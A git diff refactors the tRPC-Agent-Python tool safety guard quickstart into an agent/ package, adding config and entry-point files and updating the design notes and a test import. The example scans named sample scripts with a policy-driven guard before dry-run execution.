b/examples/tool_safety_guard/quickstart/agent/config.py new file mode 100644 index 00000000..69cde8b2 --- /dev/null +++ b/examples/tool_safety_guard/quickstart/agent/config.py @@ -0,0 +1,35 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Configuration for the tool safety guard quickstart.""" + +from __future__ import annotations + +from dataclasses import dataclass +from pathlib import Path + + +QUICKSTART_DIR = Path(__file__).resolve().parents[1] +DEFAULT_POLICY = QUICKSTART_DIR / "policy.yaml" +DEFAULT_OUT = QUICKSTART_DIR / "out" +SCRIPTS_DIR = QUICKSTART_DIR / "scripts" + + +@dataclass(frozen=True) +class ScriptSafetyCase: + """A script-like payload that the quickstart feeds into the guard.""" + + name: str + script_path: Path + language: str + + +DEFAULT_CASES = ( + ScriptSafetyCase("safe_report", SCRIPTS_DIR / "safe_report.py", "python"), + ScriptSafetyCase("external_upload", SCRIPTS_DIR / "external_upload.py", "python"), + ScriptSafetyCase("read_secret", SCRIPTS_DIR / "read_secret.py", "python"), + ScriptSafetyCase("review_subprocess", SCRIPTS_DIR / "review_subprocess.py", "python"), + ScriptSafetyCase("dangerous_cleanup", SCRIPTS_DIR / "dangerous_cleanup.sh", "bash"), +) diff --git a/examples/tool_safety_guard/quickstart/tool_service.py b/examples/tool_safety_guard/quickstart/agent/tools.py similarity index 89% rename from examples/tool_safety_guard/quickstart/tool_service.py rename to examples/tool_safety_guard/quickstart/agent/tools.py index 4b0be9d9..3aa6e4c1 100644 --- a/examples/tool_safety_guard/quickstart/tool_service.py +++ b/examples/tool_safety_guard/quickstart/agent/tools.py @@ -3,11 +3,11 @@ # Copyright (C) 2026 Tencent. All rights reserved. # # tRPC-Agent-Python is licensed under Apache-2.0. -"""Tiny script execution service used by the safety quickstart example. +"""Dry-run tools used by the tool safety guard quickstart. The service intentionally does not execute untrusted scripts. Its methods are -small enough to show exactly where the safety guard is inserted in front of a -tool-like function and a CodeExecutor-like runtime. +small enough to show where the safety guard is inserted in front of a tool-like +function and a CodeExecutor-like runtime. """ from __future__ import annotations diff --git a/examples/tool_safety_guard/quickstart/design.md b/examples/tool_safety_guard/quickstart/design.md index f820921d..6fb30802 100644 --- a/examples/tool_safety_guard/quickstart/design.md +++ b/examples/tool_safety_guard/quickstart/design.md @@ -6,11 +6,13 @@ Agents increasingly call tools that accept script-like payloads: a Bash command, ## Architecture +The quickstart keeps the same directory convention as `examples/quickstart`: `run_agent.py` is a thin executable entry point, while the reusable logic lives under `agent/`. This keeps the sample easy to copy into an application without mixing CLI parsing, policy paths, dry-run tools, and guard orchestration in one file. + The quickstart has three layers: 1. `policy.yaml` defines environment-specific rules: allowed network domains, allowed commands, denied paths, protected system roots, resource thresholds, and the risk levels that map to `allow`, `needs_human_review`, or `deny`. -2. `ToolSafetyGuard` owns scanning, decision calculation, telemetry attributes, and audit emission. It receives a `ToolSafetyScanRequest` and returns a `ToolSafetyReport`. -3. Integration adapters place the guard in front of execution. `ToolSafetyFilter` protects ordinary tools by scanning common argument names such as `command`, `script`, `code`, and `code_blocks`. `SafetyGuardedCodeExecutor` protects CodeExecutor delegates by scanning every code block before delegation. +2. `agent/agent.py` owns the orchestration around `ToolSafetyGuard`: scanning, decision collection, report writing, and audit emission. It sends a `ToolSafetyScanRequest` for each payload and records the resulting `ToolSafetyReport`. +3. `agent/tools.py` provides dry-run execution delegates. Integration adapters place the guard in front of them: `ToolSafetyFilter` protects ordinary tools by scanning common argument names such as `command`, `script`, `code`, and `code_blocks`; `SafetyGuardedCodeExecutor` protects CodeExecutor delegates by scanning every code block before delegation. The quickstart runner exercises all three layers with the same sample scripts. Direct scan shows the raw report. The filter path proves that a blocked script prevents the tool handler from running. The CodeExecutor path proves that generated code is stopped before the executor delegate sees it. diff --git a/examples/tool_safety_guard/quickstart/run_agent.py b/examples/tool_safety_guard/quickstart/run_agent.py new file mode 100644 index 00000000..e6f4085c --- /dev/null +++ b/examples/tool_safety_guard/quickstart/run_agent.py @@ -0,0 +1,45 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Run the tool safety guard quickstart project.""" + +from __future__ import annotations + +import argparse +import asyncio +import sys +from pathlib import Path + + +HERE = Path(__file__).resolve().parent +REPO_ROOT = HERE.parents[2] +if str(REPO_ROOT) not in sys.path: + sys.path.insert(0, str(REPO_ROOT)) + +from examples.tool_safety_guard.quickstart.agent.agent import run_quickstart # noqa: E402 +from examples.tool_safety_guard.quickstart.agent.config import DEFAULT_OUT # noqa: E402 +from examples.tool_safety_guard.quickstart.agent.config import DEFAULT_POLICY # noqa: E402 + + +def _parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Run the tool safety guard quickstart.") + parser.add_argument("--policy", type=Path, default=DEFAULT_POLICY) + parser.add_argument("--output-dir", type=Path, default=DEFAULT_OUT) + return parser.parse_args() + + +def main() -> None: + args = _parse_args() + summary = asyncio.run(run_quickstart(policy_path=args.policy.resolve(), output_dir=args.output_dir.resolve())) + print("Tool safety quickstart decisions:") + for case in summary["cases"]: + rule_ids = ", ".join(case["rule_ids"]) or "no findings" + print(f"- {case['name']}: {case['decision']} ({rule_ids})") + print(f"Report written to: {summary['report']}") + print(f"Audit log written to: {summary['audit_log']}") + + +if __name__ == "__main__": + main() diff --git a/examples/tool_safety_guard/quickstart/run_guard.py b/examples/tool_safety_guard/quickstart/run_guard.py deleted file mode 100644 index 7f2fbb69..00000000 --- a/examples/tool_safety_guard/quickstart/run_guard.py +++ /dev/null @@ -1,166 +0,0 @@ -# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. -# -# Copyright (C) 2026 Tencent. All rights reserved. -# -# tRPC-Agent-Python is licensed under Apache-2.0. -"""Run the tool safety guard quickstart project. - -This script demonstrates the same guard in three integration points: -direct scan, Tool Filter, and CodeExecutor wrapper. It writes a structured -summary under ``out/`` without executing any untrusted sample script. -""" - -from __future__ import annotations - -import argparse -import asyncio -import json -import sys -from pathlib import Path -from typing import Any - -HERE = Path(__file__).resolve().parent -REPO_ROOT = HERE.parents[2] -if str(REPO_ROOT) not in sys.path: - sys.path.insert(0, str(REPO_ROOT)) - -from trpc_agent_sdk.code_executors import CodeBlock # noqa: E402 -from trpc_agent_sdk.code_executors import CodeExecutionInput # noqa: E402 -from trpc_agent_sdk.context import create_agent_context # noqa: E402 -from trpc_agent_sdk.filter import FilterResult # noqa: E402 -from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor # noqa: E402 -from trpc_agent_sdk.tools.safety import ToolSafetyFilter # noqa: E402 -from trpc_agent_sdk.tools.safety import ToolSafetyGuard # noqa: E402 -from trpc_agent_sdk.tools.safety import ToolSafetyPolicy # noqa: E402 -from trpc_agent_sdk.tools.safety import ToolSafetyScanRequest # noqa: E402 - -try: - from examples.tool_safety_guard.quickstart.tool_service import DryRunScriptExecutor # noqa: E402 - from examples.tool_safety_guard.quickstart.tool_service import dry_run_tool # noqa: E402 - from examples.tool_safety_guard.quickstart.tool_service import read_script # noqa: E402 -except ModuleNotFoundError: - from tool_service import DryRunScriptExecutor # noqa: E402 - from tool_service import dry_run_tool # noqa: E402 - from tool_service import read_script # noqa: E402 - -DEFAULT_POLICY = HERE / "policy.yaml" -DEFAULT_OUT = HERE / "out" -DEFAULT_CASES = [ - ("safe_report", HERE / "scripts" / "safe_report.py", "python"), - ("external_upload", HERE / "scripts" / "external_upload.py", "python"), - ("read_secret", HERE / "scripts" / "read_secret.py", "python"), - ("review_subprocess", HERE / "scripts" / "review_subprocess.py", "python"), - ("dangerous_cleanup", HERE / "scripts" / "dangerous_cleanup.sh", "bash"), -] - - -def _write_json(path: Path, payload: Any) -> None: - path.parent.mkdir(parents=True, exist_ok=True) - path.write_text(json.dumps(payload, ensure_ascii=False, indent=2) + "\n", encoding="utf-8") - - -async def _run_filter_case(guard: ToolSafetyGuard, script: str, language: str) -> dict[str, Any]: - filter_ = ToolSafetyFilter(guard=guard) - - async def handle() -> FilterResult: - return FilterResult(rsp=await dry_run_tool(script, language=language)) - - result = await filter_.run( - create_agent_context(), - { - "script": script, - "language": language, - "cwd": str(HERE), - }, - handle, - ) - return { - "continued": bool(result.is_continue), - "response": result.rsp, - } - - -async def _run_executor_case(guard: ToolSafetyGuard, script: str, language: str) -> dict[str, Any]: - executor = SafetyGuardedCodeExecutor( - delegate=DryRunScriptExecutor(work_dir=str(HERE)), - guard=guard, - ) - result = await executor.execute_code( - invocation_context=None, # type: ignore[arg-type] - code_execution_input=CodeExecutionInput(code_blocks=[CodeBlock(language=language, code=script)]), - ) - return { - "outcome": result.outcome.value if hasattr(result.outcome, "value") else str(result.outcome), - "output": result.output, - } - - -async def run_quickstart(*, policy_path: Path = DEFAULT_POLICY, output_dir: Path = DEFAULT_OUT) -> dict[str, Any]: - policy = ToolSafetyPolicy.load(policy_path) - audit_path = output_dir / "audit.jsonl" - guard = ToolSafetyGuard(policy=policy, audit_log_path=audit_path) - cases = [] - - for name, path, language in DEFAULT_CASES: - script = read_script(path) - report = guard.scan( - ToolSafetyScanRequest( - script=script, - language=language, - cwd=str(HERE), - tool_metadata={ - "name": name, - "script_path": str(path), - }, - )) - filter_result = await _run_filter_case(guard, script, language) - executor_result = await _run_executor_case(guard, script, language) - cases.append({ - "name": name, - "script": str(path.relative_to(HERE)), - "language": language, - "decision": report.decision.value if hasattr(report.decision, "value") else str(report.decision), - "risk_level": report.risk_level.value if hasattr(report.risk_level, "value") else str(report.risk_level), - "blocked": report.blocked, - "rule_ids": [finding.rule_id for finding in report.findings], - "summary": report.summary, - "filter": filter_result, - "code_executor": executor_result, - }) - - summary = { - "policy": { - "name": policy.name, - "version": policy.version, - "path": str(policy_path), - }, - "case_count": len(cases), - "decision_counts": { - decision: sum(1 for case in cases if case["decision"] == decision) - for decision in sorted({case["decision"] for case in cases}) - }, - "cases": cases, - "audit_log": str(audit_path), - } - _write_json(output_dir / "quickstart_report.json", summary) - return summary - - -def _parse_args() -> argparse.Namespace: - parser = argparse.ArgumentParser(description="Run the tool safety guard quickstart.") - parser.add_argument("--policy", type=Path, default=DEFAULT_POLICY) - parser.add_argument("--output-dir", type=Path, default=DEFAULT_OUT) - return parser.parse_args() - - -def main() -> None: - args = _parse_args() - summary = asyncio.run(run_quickstart(policy_path=args.policy.resolve(), output_dir=args.output_dir.resolve())) - print("Tool safety quickstart decisions:") - for case in summary["cases"]: - print(f"- {case['name']}: {case['decision']} ({', '.join(case['rule_ids']) or 'no findings'})") - print(f"Report written to: {summary['audit_log']}") - - -if __name__ == "__main__": - main() diff --git a/tests/tools/safety/test_tool_safety_guard.py b/tests/tools/safety/test_tool_safety_guard.py index 4451d008..1d002fdf 100644 --- a/tests/tools/safety/test_tool_safety_guard.py +++ b/tests/tools/safety/test_tool_safety_guard.py @@ -41,7 +41,7 @@ from trpc_agent_sdk.tools.safety._types import max_risk_level from trpc_agent_sdk.tools.safety._types import risk_level_value from scripts.tool_safety_check import main as tool_safety_check_main -from examples.tool_safety_guard.quickstart.run_guard import run_quickstart +from examples.tool_safety_guard.quickstart.agent.agent import run_quickstart EXAMPLE_DIR = Path(__file__).resolve().parents[3] / "examples" / "tool_safety_guard"